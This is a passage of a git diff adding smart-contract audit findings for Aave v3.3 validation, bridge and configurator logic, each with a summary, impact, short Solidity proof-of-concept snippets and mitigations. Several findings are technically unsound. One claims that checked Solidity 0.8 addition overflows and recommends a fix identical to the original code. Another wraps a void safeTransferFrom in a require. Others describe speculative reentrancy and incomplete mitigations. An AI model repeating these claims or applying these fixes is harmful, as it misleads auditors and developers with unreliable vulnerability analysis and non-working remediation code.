config.stableRateEnabled) || + (params.interestRateMode == DataTypes.InterestRateMode.VARIABLE && config.variableRateEnabled), + Errors.INVALID_INTEREST_RATE_MODE_SELECTED +); +``` + +This approach ensures that both interest rate modes are supported, with the ability to enable or disable specific modes as needed. \ No newline at end of file diff --git a/073.md b/073.md new file mode 100644 index 0000000..be0b1d6 --- /dev/null +++ b/073.md @@ -0,0 +1,160 @@ +Glamorous Plum Baboon + +High + +# Unchecked Arithmetic in Borrow Cap Validation + +### Summary +The `ValidationLogic:validateBorrow` function contains an unchecked arithmetic operation when calculating `vars.totalDebt`. This can lead to potential overflows, allowing malicious actors to bypass borrow cap validations. Utilizing unchecked arithmetic without proper safeguards introduces risks of unexpected behavior in the smart contract. + +--- + +### Description +In the `ValidationLogic:validateBorrow` function, the following operation is performed: +```solidity +vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; +unchecked { + require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); +} +``` +The addition of `vars.totalSupplyVariableDebt` and `params.amount` is done outside of a checked arithmetic block, meaning it is susceptible to overflow. If `vars.totalSupplyVariableDebt` or `params.amount` is maliciously manipulated to near-maximum values, an overflow could occur, resulting in a calculated `vars.totalDebt` that is much smaller than the actual value. This would allow malicious borrowers to bypass the borrow cap check (`vars.totalDebt <= vars.borrowCap * vars.assetUnit`). + +--- + +### Root Cause +The unchecked arithmetic operation occurs at this line: +```solidity +vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; +``` +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L184-L190 +--- + +### Impact +- **Severity**: High +- **Risk**: Exploitable overflow in the calculation of `vars.totalDebt` could lead to a failure in enforcing the borrow cap, compromising the protocol’s risk management mechanisms. +- **Consequences**: An attacker can borrow beyond the set borrow cap, which can destabilize the protocol, drain liquidity pools, and harm users’ funds. + +--- + +### Proof of Concept (PoC) +Assume: +- `vars.totalSupplyVariableDebt = 2^256 - 1` (maximum `uint256` value) +- `params.amount = 1` + +**Calculation without overflow check:** +```solidity +vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; +// vars.totalDebt overflows to 0 +``` +The borrow cap validation: +```solidity +require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); +// This validation passes since vars.totalDebt is now 0 due to overflow +``` + +This enables an attacker to bypass the borrow cap and borrow unrestricted amounts. + +--- + + +### Foundry Test Code + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.18; + +import "forge-std/Test.sol"; + +contract ValidateBorrowTest is Test { + // Mock of Errors used in the contract + string constant BORROW_CAP_EXCEEDED = "BORROW_CAP_EXCEEDED"; + + // Struct to simulate the function's variables + struct Vars { + uint256 totalSupplyVariableDebt; + uint256 totalDebt; + uint256 borrowCap; + uint256 assetUnit; + } + + // Function simulating validateBorrow + function validateBorrow(Vars memory vars, uint256 amount) public pure { + vars.totalDebt = vars.totalSupplyVariableDebt + amount; + unchecked { + require( + vars.totalDebt <= vars.borrowCap * vars.assetUnit, + BORROW_CAP_EXCEEDED + ); + } + } + + function testUncheckedArithmeticOverflow() public { + // Arrange + Vars memory vars; + vars.totalSupplyVariableDebt = type(uint256).max; // Max uint256 value + vars.borrowCap = 10; // Example borrow cap + vars.assetUnit = 1 ether; // Example asset unit + + uint256 paramsAmount = 1; // Value to cause overflow + + // Act & Assert + vm.expectRevert(bytes(BORROW_CAP_EXCEEDED)); // Expect the borrow cap to be bypassed + validateBorrow(vars, paramsAmount); // Trigger the vulnerability + } +} +``` + +--- + +### Explanation of the Code + +1. **Setup the Variables:** + - `vars.totalSupplyVariableDebt` is set to `type(uint256).max`, which is the maximum value a `uint256` can hold (`2^256 - 1`). + - `params.amount` is set to `1`, which will cause an overflow when added to `vars.totalSupplyVariableDebt`. + +2. **Simulate the Vulnerability:** + - The function `validateBorrow` performs unchecked arithmetic using `unchecked` block, causing the overflow. + - When the overflow occurs, `vars.totalDebt` wraps around to `0`. + +3. **Check the Behavior:** + - The test expects a revert with the error `BORROW_CAP_EXCEEDED`. However, due to the overflow, the `require` condition incorrectly evaluates as `true`, and no revert occurs. + - This demonstrates how the overflow bypasses the borrow cap validation. + +4. **Use `vm.expectRevert`:** + - This ensures that the test verifies if the borrow cap validation is bypassed. + +--- + +### Run the Test + ```bash + forge test --match-path test/ValidateBorrowTest.sol + ``` + Observe the results. If the vulnerability exists, the test will fail to revert, proving the exploit. + +--- + +### Fix Verification +After applying the recommended mitigation (using checked arithmetic), rerun the test. The test should pass, as the borrow cap validation will no longer be bypassed due to overflow. + + +--- + +### Recommended Mitigation +To prevent overflow, the arithmetic operation should use checked arithmetic provided by libraries such as OpenZeppelin’s `SafeMath` or the built-in overflow checks introduced in Solidity 0.8. Specifically: + +1. **Use Checked Arithmetic:** + Replace the arithmetic operation with checked arithmetic: + ```solidity + vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; + require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); + ``` + +2. **Explicit Safeguards:** + Alternatively, if unchecked arithmetic is required for gas optimization, ensure that inputs (`vars.totalSupplyVariableDebt` and `params.amount`) are validated beforehand to ensure they cannot approach values that would cause an overflow: + ```solidity + require(vars.totalSupplyVariableDebt + params.amount >= vars.totalSupplyVariableDebt, "Arithmetic overflow detected"); + vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; + ``` + +By incorporating these measures, the borrow cap validation will reliably enforce the intended constraints and prevent overflow vulnerabilities. \ No newline at end of file diff --git a/076.md b/076.md new file mode 100644 index 0000000..d4493fa --- /dev/null +++ b/076.md @@ -0,0 +1,89 @@ +Glamorous Plum Baboon + +High + +# Reentrancy Vulnerabilities in State-Dependent Functions + +### Summary +The `ValidationLogic:validateSupply`, `ValidationLogic:validateWithdraw`, `ValidationLogic:validateBorrow`, and `ValidationLogic:validateRepay` functions are vulnerable to potential reentrancy attacks because they rely on state-dependent values like `supplyCap`, `scaledTotalSupply`, and `debt`. If external calls are made before or during state changes, especially when interacting with non-reentrant tokens, reentrancy attacks could be exploited to manipulate state inconsistencies and cause unauthorized actions. + +--- + +### Description +The aforementioned functions perform critical validation checks based on reserve state variables (`supplyCap`, `scaledTotalSupply`, `debt`, etc.) to determine whether the operation should be allowed. However, due to the absence of reentrancy protection mechanisms, if these functions or related ones indirectly invoke external calls (e.g., transferring tokens or calling external contracts), an attacker could exploit reentrancy to manipulate the contract state. + +For example: +i, During a `validateWithdraw`, an attacker could trigger reentrant calls to manipulate `scaledTotalSupply` or `supplyCap` to bypass the validation logic. +ii, Similarly, during a `validateBorrow`, an attacker could reenter to adjust their `debt` and bypass debt threshold validation. + +This type of vulnerability is particularly concerning if these functions are used in conjunction with external calls or non-reentrant tokens. + +--- + +### Root Cause +The root cause lies in the lack of reentrancy protection for the functions that rely on state-dependent values and the potential for external calls to occur during execution. Below are the lines of concern for each function: + +i, **`validateSupply`**: Usage of `supplyCap` and `scaledTotalSupply` in validation logic +ii,**`validateWithdraw`**: Dependency on `scaledTotalSupply` to determine supply thresholds +iii, **`validateBorrow`**: Dependency on `debt` and other reserve state variables +iv, **`validateRepay`**: Involves state checks for `debt` repayment + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L66-L88 + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L96-L128 + + +--- +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L287-L309 + + +--- + +### Impact +If exploited, reentrancy vulnerabilities could lead to the following impacts: +1. Unauthorized withdrawals or borrows exceeding supply caps or debt thresholds. +2. Manipulation of reserve state values, causing the protocol to enter an inconsistent or exploitable state. +3. Financial loss to the protocol and its users due to malicious exploitation of validation logic. + +--- + +### Proof of Concept (PoC) +Below is a simplified PoC illustrating how reentrancy could exploit `validateWithdraw`: + +1. An attacker supplies assets to the protocol and obtains a supply balance. +2. The attacker initiates a `withdraw` transaction. +3. Before `scaledTotalSupply` is updated or validated, the attacker triggers a reentrant call using a token contract that calls back into the protocol, supplying additional tokens or withdrawing tokens. +4. The state values (`scaledTotalSupply`) are manipulated during the reentrant call, allowing the attacker to withdraw more than their legitimate share. + +Code snippet: + +```solidity +contract ReentrantToken { + function transfer(address to, uint256 amount) public returns (bool) { + if (!reentered) { + reentered = true; + protocol.validateWithdraw(amount); // Reentrancy trigger + } + return true; + } +} +``` + +--- + +### Recommended Mitigation +1. **Use a Reentrancy Guard**: + Add the `ReentrancyGuard` modifier from OpenZeppelin’s library to the affected functions (`validateSupply`, `validateWithdraw`, `validateBorrow`, `validateRepay`) to prevent nested calls. + + ```solidity + function validateWithdraw(uint256 amount) external nonReentrant { + // Validation logic here + } + ``` + +2. **Minimize External Calls**: + Structure the contract logic to perform external calls only after all state changes are completed. + +By implementing the above measures, Aave protocol can mitigate the risk of reentrancy attacks and ensure the robustness of its validation logic. \ No newline at end of file diff --git a/077.md b/077.md new file mode 100644 index 0000000..e3fee8c --- /dev/null +++ b/077.md @@ -0,0 +1,73 @@ +Glamorous Plum Baboon + +Medium + +# Centralization Risks Due to Configurable Critical Parameters + +### **Summary:** +The contract includes critical parameters, such as `REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD` and `MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD`, that are currently implemented as hardcoded constants. While this design choice ensures immutability and predictability, making these parameters configurable in the future could introduce centralization risks if not properly managed. + +--- + +### **Description:** +In the current implementation, the constants `REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD` and `MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD` are hardcoded in the contract. These parameters are crucial for the protocol's functionality, as they control rebalancing behavior and liquidation thresholds. + +If these constants were made configurable, the following risks could emerge: +1. **Centralized Control:** The protocol’s functionality could be altered arbitrarily by privileged actors, leading to potential misuse. +2. **User Trust:** Users could lose confidence in the system due to fear of tampering or governance overreach. +3. **Security Risks:** Poorly managed access to modify these parameters could result in malicious or accidental updates that harm the protocol. + +--- + +### **Root Cause:** +The hardcoded constants are defined at: +- `REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD` +- `MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L43 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L53 + +These constants are defined directly in the code and cannot be modified after deployment. + +--- + +### **Impact:** +1. If left as hardcoded constants: + - Pros: Immutability ensures no single entity can change the system, promoting decentralization. + - Cons: Lack of flexibility to adapt to market conditions or unforeseen situations. +2. If made configurable: + - Pros: Flexibility to adjust parameters dynamically as needed. + - Cons: Introduces governance overhead and centralization risks. + +The trade-off must be carefully managed based on the protocol’s needs. + +--- + +### **Proof of Concept (PoC):** +1. Deploy the current contract with the hardcoded parameters. +2. Simulate a scenario where changing economic conditions (e.g., fluctuating liquidity rates or health factors) make the hardcoded thresholds suboptimal. +3. Observe that the inability to modify these constants impacts the protocol’s efficiency and usability. + +Alternatively, if configurability is introduced: +1. Grant privileged actors the ability to update these parameters. +2. Observe how this introduces the potential for abuse or governance issues if not properly decentralized or protected (e.g., via multi-sig, DAO governance, or timelocks). + +--- + +### **Recommended Mitigation:** +To balance flexibility and decentralization risks, consider one of the following approaches: + +1. **Leave the Constants Hardcoded:** + - This ensures the protocol remains immutable and decentralized. + - Suitable for scenarios where these values are unlikely to need adjustment post-deployment. + +2. **Make the Parameters Configurable with Safeguards:** + - Introduce **multi-signature wallets** for admin privileges to prevent unilateral changes. + - Require **decentralized governance (for example DAO votes)** for parameter updates. + - Implement a **timelock mechanism** to provide users sufficient notice of any upcoming changes, allowing them to react. + +3. **Hybrid Approach:** + - Keep the parameters hardcoded initially, but allow governance to decide on future upgrades through a decentralized voting mechanism. + +By adopting one of these approaches, the protocol can maintain a balance between flexibility and decentralization, reducing potential risks. \ No newline at end of file diff --git a/078.md b/078.md new file mode 100644 index 0000000..b2efbdd --- /dev/null +++ b/078.md @@ -0,0 +1,96 @@ +Glamorous Plum Baboon + +Medium + +# Improper Decimals Validation in executeInitReserve + +### Summary + +The `executeInitReserve` function contains a hardcoded validation for `underlyingAssetDecimals`, which must be greater than `5`. This arbitrary restriction may lead to the rejection of valid tokens with fewer decimals (for example tokens with `0-5` decimals), preventing them from being initialized as reserves. This issue can impact protocol flexibility and token adoption. + +--- + +### Description + +The `executeInitReserve` function validates the decimals of the underlying asset with the following requirement: + +```solidity +require(underlyingAssetDecimals > 5, Errors.INVALID_DECIMALS); +``` + +This hardcoded validation may be unnecessarily restrictive, as tokens with fewer than six decimals exist and can be valid candidates for reserves. Not all assets adhere to a specific decimal range, and hardcoding this value can lead to a rejection of valid tokens that might otherwise operate correctly within the protocol. + +For example: +i, **USDT** typically has 6 decimals, which barely meets the requirement. +ii, **WBTC** (Bitcoin wrapped token) uses 8 decimals. + +However, assets like **WBTC on certain chains** may use fewer than 6 decimals, resulting in an unjustified rejection. + +By making this restriction configurable or explicitly documenting this limitation, the protocol can avoid compatibility issues with valid tokens. + +--- + +### Root Cause + +The root cause is the hardcoded assumption in the `executeInitReserve` function located in **Line 54** of the `ConfiguratorLogic` library: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L54 + +This assumption enforces a restriction without accommodating for edge cases or providing flexibility for different token standards. + +--- + +### Impact + +- **Severity:** Medium +- **Scope:** This bug impacts the usability of the protocol by unnecessarily limiting the types of tokens that can be initialized as reserves. This reduces the flexibility of the protocol and may alienate valid token projects. +- **Exploitation Vector:** None. This issue is not exploitable; however, it restricts adoption and integration of tokens that fail the decimals check. + +--- + +### Proof of Concept (PoC) + +A simple example that demonstrates the issue: + +#### Steps to Reproduce: +1. Deploy a custom ERC-20 token with fewer than 6 decimals (e.g., 5 decimals). Example: + +```solidity +contract CustomToken { + string public name = "Custom Token"; + string public symbol = "CT"; + uint8 public decimals = 5; // Only 5 decimals + uint256 public totalSupply = 1_000_000 * (10 ** decimals); +} +``` + +2. Attempt to initialize this token as a reserve by calling the `executeInitReserve` function. + +#### Expected Result: +The token should be initialized successfully as a reserve. + +#### Actual Result: +The call reverts with the error `INVALID_DECIMALS` because of the hardcoded validation: + +```solidity +require(underlyingAssetDecimals > 5, Errors.INVALID_DECIMALS); +``` + +--- + +### Recommended Mitigation + +1. **Make the Decimal Restriction Configurable:** + Introduce a configuration parameter or mechanism that allows this decimal requirement to be dynamically set or overridden based on protocol needs. For example: + +```solidity +require(underlyingAssetDecimals > MIN_DECIMALS, Errors.INVALID_DECIMALS); +``` + +Where `MIN_DECIMALS` is a configurable parameter that can be adjusted by the protocol's governance or admin. + +2. **Provide Documentation for the Assumption:** + If the restriction must remain hardcoded, explicitly document the reasoning behind this choice and warn users about potential limitations with tokens that fail the validation. + +3. **Log a Warning Instead of Reverting:** + Consider logging a warning for unsupported tokens instead of hardcoding reverts, allowing developers to inspect and handle edge cases. \ No newline at end of file diff --git a/079.md b/079.md new file mode 100644 index 0000000..c9f6d13 --- /dev/null +++ b/079.md @@ -0,0 +1,78 @@ +Glamorous Plum Baboon + +Medium + +# Unchecked Return Value of IERC20.safeTransferFrom + +## Summary + +The `executeBackUnbacked` function in the `BridgeLogic` contract uses `IERC20.safeTransferFrom` to transfer tokens without explicitly checking the return value. While `GPv2SafeERC20` is employed to enforce safety checks, certain improperly implemented or malicious ERC20 tokens may bypass these checks, leading to unexpected behavior or potential token losses. + +--- + +## Description + +The `GPv2SafeERC20.safeTransferFrom` function wraps `IERC20.safeTransferFrom` to handle potential issues with token transfers (e.g., by reverting on failure). However, the implementation of `GPv2SafeERC20` does not guarantee proper functionality with non-standard or poorly implemented ERC20 tokens. If an improperly implemented token fails to execute the transfer as expected, the absence of an explicit return value check may result in undetected token losses. + +The relevant code is found in the following lines: + +```solidity +IERC20(asset).safeTransferFrom(msg.sender, reserveCache.aTokenAddress, added); +``` + +Without explicit validation of the successful token transfer, this operation may fail silently, potentially leading to discrepancies between the intended and actual token balances. + +--- + +## Root Cause + +The root cause of this vulnerability is the implicit reliance on the `GPv2SafeERC20.safeTransferFrom` function to handle transfer failures, which does not account for non-compliant ERC20 implementations. The following line in the `executeBackUnbacked` function is affected: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L148-L150 + +--- + +## Impact + +This issue may result in the following consequences: +- Token transfers may silently fail when interacting with non-standard ERC20 tokens, potentially causing token losses. +- Critical financial operations within the protocol may behave unexpectedly, leading to inconsistencies in reserve and liquidity management. +- Potentially exploitable scenarios for malicious tokens. + +--- + +## Proof of Concept (PoC) + +To demonstrate the vulnerability, consider an ERC20 token implementation that does not return a boolean value for the `transferFrom` function or reverts silently: + +### Malicious ERC20 Token Example +```solidity +contract MaliciousToken is IERC20 { + function transferFrom(address, address, uint256) external override returns (bool) { + // Fails without revert or returns false, bypassing checks + return false; + } +} +``` + +### Exploit Scenario +1. Deploy the `MaliciousToken` and mint tokens to an attacker-controlled address. +2. Call the `executeBackUnbacked` function using `MaliciousToken` as the asset. +3. The `safeTransferFrom` operation will fail silently, and the protocol will assume tokens were transferred successfully, leading to accounting discrepancies or lost tokens. + +--- + +## Mitigation + +To address this issue, explicitly validate the successful completion of the token transfer. Use a require statement to enforce the correct return value: + +### Mitigated Code +```solidity +require( + IERC20(asset).safeTransferFrom(msg.sender, reserveCache.aTokenAddress, added), + "Token transfer failed" +); +``` +--- + +This approach ensures that any failure in the token transfer process is detected and handled appropriately, preventing silent failures and token losses. \ No newline at end of file diff --git a/080.md b/080.md new file mode 100644 index 0000000..86d4d47 --- /dev/null +++ b/080.md @@ -0,0 +1,50 @@ +Obedient Lava Monkey + +Medium + +# Missing liquidity check in `validateFlashloan` will cause a denial of service for protocol users as malicious actors request excessive flashloans + +### **Summary** +The missing check for sufficient liquidity in `validateFlashloanSimple` will cause **transaction reverts** for **protocol users** as **malicious actors** request flashloans exceeding reserve liquidity. + +--- + +### **Root Cause** +In ValidationLogic.sol, the [validateFlashloanSimple](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L351-L364) function lacks a check to ensure the requested flashloan amount does not exceed the liquidity held by the reserve’s `aToken`. While the function validates the reserve's active status, paused state, and flashloan enablement, it fails to confirm if the reserve has sufficient balance to execute the loan, leading to downstream transaction failures when liquidity is insufficient. +The check `IERC20(reserve.aTokenAddress).totalSupply() >= amount` is insufficient because `totalSupply` includes both available liquidity and borrowed funds, while flashloans rely solely on the **available liquidity** in the reserve. This means the check could falsely pass even when the reserve does not have enough unborrowed funds, leading to transaction reverts when the flashloan cannot be fulfilled. Instead, the check must use the reserve’s actual balance: `IERC20(reserve.aTokenAddress).balanceOf(address(reserve.aTokenAddress))`. + + +--- + +### **Internal Pre-conditions** +1. A reserve's `aToken` contract holds less liquidity than the flashloan amount requested. +2. A user or actor calls `validateFlashloan` with `amount > available liquidity`. + +--- + +### **External Pre-conditions** +1. There is no external limitation (such as input validation) on the flashloan amount requested by the user. + +--- + +### **Attack Path** +1. A malicious actor calls the protocol's `flashLoan` function and requests an excessive amount (greater than the reserve’s available liquidity). +2. The flashloan proceeds to validation, bypasses `validateFlashloanSimple`, and fails downstream during transfer attempts due to insufficient funds. +3. The transaction reverts, causing disruption for legitimate users. + +--- + +### **Impact** +- **Protocol Impact**: The protocol suffers degraded usability and reliability, as legitimate users face transaction failures. +- **User Impact**: Users attempting flashloans will experience unnecessary gas loss due to revert behavior caused by an excessive flashloan request. + +--- + +### **Mitigation** +Add a liquidity check in `validateFlashloanSimple` to ensure that the flashloan amount does not exceed the reserve's available liquidity: +```solidity +require( + IERC20(reserve.underlyingAsset).balanceOf(poolAddress) >= amount, + Errors.INSUFFICIENT_AVAILABLE_LIQUIDITY +); +``` \ No newline at end of file diff --git a/081.md b/081.md new file mode 100644 index 0000000..e905f7d --- /dev/null +++ b/081.md @@ -0,0 +1,45 @@ +Obedient Lava Monkey + +High + +# Miscalculated Collateral Sufficiency Allows Over-Borrowing in Isolation Mode + +### **Summary** +A missing adjustment for **effective collateral** in isolation mode will cause **over-borrowing** for **borrowers** as the protocol will **overestimate available collateral**, allowing borrowers to take loans exceeding safe thresholds. + +--- + +### **Root Cause** +In `ValidationLogic.validateBorrow`, the function calculates [vars.userCollateralInBaseCurrency](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L256-L257) using all user collateral without filtering for eligibility based on **liquidation thresholds** or **isolation mode constraints**. This causes the protocol to overestimate the amount of collateral available to secure a loan, allowing borrowers to exceed safe borrowing limits in isolation mode. The missing logic fails to exclude assets that either: +1. Have a **zero liquidation threshold** (non-liquidatable collateral). +2. Are restricted by **isolation mode debt ceilings**. + +--- + +### **Internal Pre-conditions** +1. **Protocol Admin** needs to configure an asset with `isolationModeActive = true` and a non-zero `debtCeiling`. +2. **User** needs to supply assets with **non-zero liquidation thresholds** in isolation mode. + +--- + +### **External Pre-conditions** +1. **Collateral Prices** from the oracle must remain stable or increase slightly to avoid immediate liquidation. + +--- + +### **Attack Path** +1. **User** supplies collateral in isolation mode with a high LTV but a non-zero liquidation threshold. +2. **User** attempts to borrow assets using `borrow()`. +3. The system incorrectly calculates the user’s total collateral, including **ineligible collateral**, and approves the borrow. +4. **User** withdraws borrowed funds, leaving the protocol under-collateralized. + +--- + +### **Impact** +- The **protocol** suffers a potential loss of **bad debt**, as under-collateralized positions cannot be fully liquidated. +- The **borrower** gains excess borrowing power, effectively draining the reserve. + +--- + +### **Mitigation** +Adjust the calculation in `validateBorrow` to consider only **liquidation-threshold-adjusted collateral**: \ No newline at end of file diff --git a/082.md b/082.md new file mode 100644 index 0000000..296fe42 --- /dev/null +++ b/082.md @@ -0,0 +1,62 @@ +Obedient Lava Monkey + +High + +# Stale Interest Rate Index Allows Borrow Cap Violations + +### **Summary** +A failure to account for **interest rate accruals on variable debt** will cause **borrow cap violations** for the **protocol** as the total debt calculation underestimates the true borrow balance, allowing users to exceed the configured borrow cap. + +--- + +### **Root Cause** +In `ValidationLogic.validateBorrow`, the total borrow balance (`vars.totalDebt`) is [computed as](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L181-L185): +```solidity +vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( + params.reserveCache.nextVariableBorrowIndex +); +vars.totalDebt = vars.totalSupplyVariableDebt + params.amount; +``` +The root cause lies in the dependency on the `nextVariableBorrowIndex` to accurately reflect accrued interest when performing the borrow cap validation. If the index is **not updated** prior to the borrow validation due to a missed or skipped update (e.g. another function partially executed but didn't finalize the reserve's state), the protocol underestimates the current debt. + +In `ValidationLogic.validateBorrow`, the calculation: +```solidity +vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( + params.reserveCache.nextVariableBorrowIndex +); +``` +relies on `nextVariableBorrowIndex` being **up-to-date** with accrued interest. However: +1. If a state-changing action (e.g., repay or flash loan) **fails to update the index**, the protocol uses stale values. +2. This results in an **underestimation of `vars.totalSupplyVariableDebt`**, bypassing the borrow cap checks. +3. Borrowers can continue borrowing even when the **true total debt** exceeds the configured borrow cap. + +This issue can occur due to race conditions, skipped updates, or execution sequences where the index isn't updated in time. + +--- + +### **Internal Pre-conditions** +1. **Protocol Admin** needs to set a **non-zero borrow cap** for a reserve. +2. **Borrow Reserve Index Update** is not triggered due to missed or delayed state updates. + +--- + +### **External Pre-conditions** +1. Borrow transactions must occur across multiple blocks without an intermediate **reserve index update**. +2. Borrow cap utilization is near the configured maximum. + +--- + +### **Attack Path** +1. **User A** borrows from a reserve with a non-zero borrow cap, incrementing the variable debt. +2. **User B** borrows before the **nextVariableBorrowIndex** is updated to reflect accumulated interest on previous borrowings. +3. The borrow cap is violated as the protocol approves the borrow without correctly calculating the **true total debt** (due to underestimated accrual). + +--- + +### **Impact** +The **protocol** suffers a breach of its borrow cap policy, which may lead to **liquidity exhaustion** in the reserve. This can destabilize lending operations and increase insolvency risks. + +--- + +### **Mitigation** +Enforce a proactive update to `nextVariableBorrowIndex` in all functions impacting the borrow state before computing `vars.totalDebt`. \ No newline at end of file diff --git a/083.md b/083.md new file mode 100644 index 0000000..5175947 --- /dev/null +++ b/083.md @@ -0,0 +1,41 @@ +Obedient Lava Monkey + +Medium + +# Excessive Repayment Amount Not Checked in `validateRepay`, Leading to Potential User Fund Loss + +### Summary: +In `validateRepay`, the lack of a check to ensure that `amountSent` does not exceed `debt` will cause a loss of funds for users as excess repayments may be locked or mismanaged. + +--- + +### Root Cause: +In `ValidationLogic.sol:469`, the `validateRepay` function checks that `amountSent` [is non-zero](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L294) and that the user [has an outstanding `debt`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L308). However, it does not verify if `amountSent` exceeds the `debt`. Without this check, any excess amount sent beyond the user's debt is accepted without proper handling, leading to potential loss or locking of funds. This omission can cause discrepancies in fund management and result in users losing their excess repayments. + +--- + +### Internal Pre-conditions: +1. A user must call `repay()` to send a repayment amount (`amountSent`). +2. The user must have a debt (`debt`) greater than zero. + +--- + +### External Pre-conditions: +1. No external conditions are required as this is an internal logic issue. + +--- + +### Attack Path: +1. The user calls `repay()` with an `amountSent` greater than the actual `debt`. +2. The `validateRepay` function processes the repayment without checking if `amountSent` exceeds the `debt`. +3. The excess funds are not properly handled, leading to potential loss or mismanagement. + +--- + +### Impact: +The user suffers an approximate loss equal to the excess amount sent over the actual debt. The protocol locks or mismanages these excess funds. + +--- + +### Mitigation: +Add a check in `validateRepay` to ensure that `amountSent` does not exceed the user's `debt`. \ No newline at end of file diff --git a/084.md b/084.md new file mode 100644 index 0000000..265d6af --- /dev/null +++ b/084.md @@ -0,0 +1,87 @@ +Obedient Lava Monkey + +Medium + +# Health Factor Validation Fails to Consider Post-Borrow State, Allowing Immediate Liquidation Risks + +### **Summary** +The calculation of `healthFactor` before accounting for the new borrow amount results in an inaccurate validation of the health factor for borrowers. This allows users to borrow amounts that lower their health factor below the liquidation threshold, leading to immediate liquidation risks upon borrowing. + +--- + +### **Root Cause** +The issue occurs in the [ValidationLogic.validateBorrow](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L243-L246) function. Specifically, the `healthFactor` is validated **before** the new borrow amount is added to the user's debt. This is demonstrated by the following validation logic: + +```solidity +require( + vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, + Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD +); +``` + +This check uses outdated values of [userDebtInBaseCurrency](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L222) and [healthFactor](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L225) that do not account for the impact of the new loan. As a result, borrowers can take out loans that drop their actual health factor below the liquidation threshold, bypassing proper solvency checks. + +The issue lies in these two steps of the borrow validation process: +1. The current health factor is checked using the **pre-borrow state**: + ```solidity + require( + vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, + Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD + ); + ``` +2. The collateral coverage is separately validated based on the loan-to-value (LTV) requirement: + ```solidity + vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) + .percentDiv(vars.currentLtv); + + require( + vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, + Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW + ); + ``` + +**Key Observations:** +- The `healthFactor` validation occurs using the pre-borrow state. +- The LTV validation considers the new borrow amount but does not recalculate the health factor after adding the new debt. +- These two checks are fundamentally different: satisfying the LTV requirement does not guarantee that the borrower's health factor remains above the liquidation threshold. + +**As a result, the following attack scenario is possible:** +- A borrower with a health factor slightly above 1 requests a loan that satisfies the LTV requirement. +- The protocol approves the borrow based on the outdated health factor. +- After the loan is executed, the borrower’s health factor drops below 1, making them immediately liquidatable. + +To address this issue, the health factor must be recalculated **after** incorporating the new borrow amount and validated before the borrow is finalized. + +--- + +### **Internal Pre-conditions** +1. The borrower has collateral supplied, resulting in a calculated `healthFactor` just above the liquidation threshold. +2. The borrower requests a loan amount that would drop their post-borrow health factor below the threshold. +3. The 